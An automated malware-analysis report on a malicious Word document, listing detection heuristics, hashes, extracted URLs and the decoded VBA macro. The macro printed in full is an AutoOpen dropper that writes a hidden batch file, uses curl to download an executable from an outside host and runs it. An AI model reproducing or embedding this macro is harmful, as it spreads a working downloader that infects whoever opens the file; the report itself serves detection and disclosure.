Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 981ed77e56649441…

MALICIOUS

Office (OOXML) / .DOCX

22.2 KB Created: 2024-01-01 13:57:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-21
MD5: e24f001da770291ac552d60518ef00b6 SHA-1: f9e955f7958ccf309d0a246d417c0b482d83940b SHA-256: 981ed77e566494419b19e6c5710c52fd7075e79fac5dbc7f2c6633f3a730bd81
266 Risk Score

Heuristics 8

  • ClamAV: Doc.Dropper.Amphitryon-10030014-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Amphitryon-10030014-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run tempPath & "\kronos.bat", 0, False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim objFSO, objFile
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        Set objFile = objFSO.CreateTextFile(tempPath & "\kronos.bat", True)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
     Sub AutoOpen()
        '
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        downloadedFile = "Clientnew.exe"
        tempPath = Environ("HOMEPATH")
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: https://products.aspose.com/words/temporary-license/
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://vanthanh.id.vn/net/Clientnew.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://products.aspose.com/words/temporary-license/Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 879 bytes
SHA-256: 469729178a4b46b0d5c239475a2262e0f266bfea01e977bd5fa29f00d4482b1c
Preview script
First 1,000 lines of the extracted script
Sub AutoOpen()
    '
    ' AutoOpen
    '
    '
    Dim downloadURL, downloadedFile, tempPath
    downloadURL = "http://vanthanh.id.vn/net/Clientnew.exe"
    downloadedFile = "Clientnew.exe"
    tempPath = Environ("HOMEPATH")

    Dim objFSO, objFile
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFSO.CreateTextFile(tempPath & "\kronos.bat", True)
    
    objFile.WriteLine "@echo off"
    objFile.WriteLine "cd /d %HOMEPATH%"
    objFile.WriteLine "set downloadURL=" & downloadURL
    objFile.WriteLine "set downloadedFile=Clientnew.exe"
    objFile.WriteLine "curl -o ""%downloadedFile%"" -L ""%downloadURL%"""
    objFile.WriteLine "set downloadedFile=Clientnew.exe"
    objFile.WriteLine "%downloadedFile%"
    objFile.Close

    Set objShell = CreateObject("WScript.Shell")
    objShell.Run tempPath & "\kronos.bat", 0, False
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 3584 bytes
SHA-256: 595ec09f9cd355cf4aa7f2e677b3a10581fb22055b083563cc9fddb3c6875b72
Detection
ClamAV: Doc.Dropper.Amphitryon-10030014-0
Obfuscation or payload: unlikely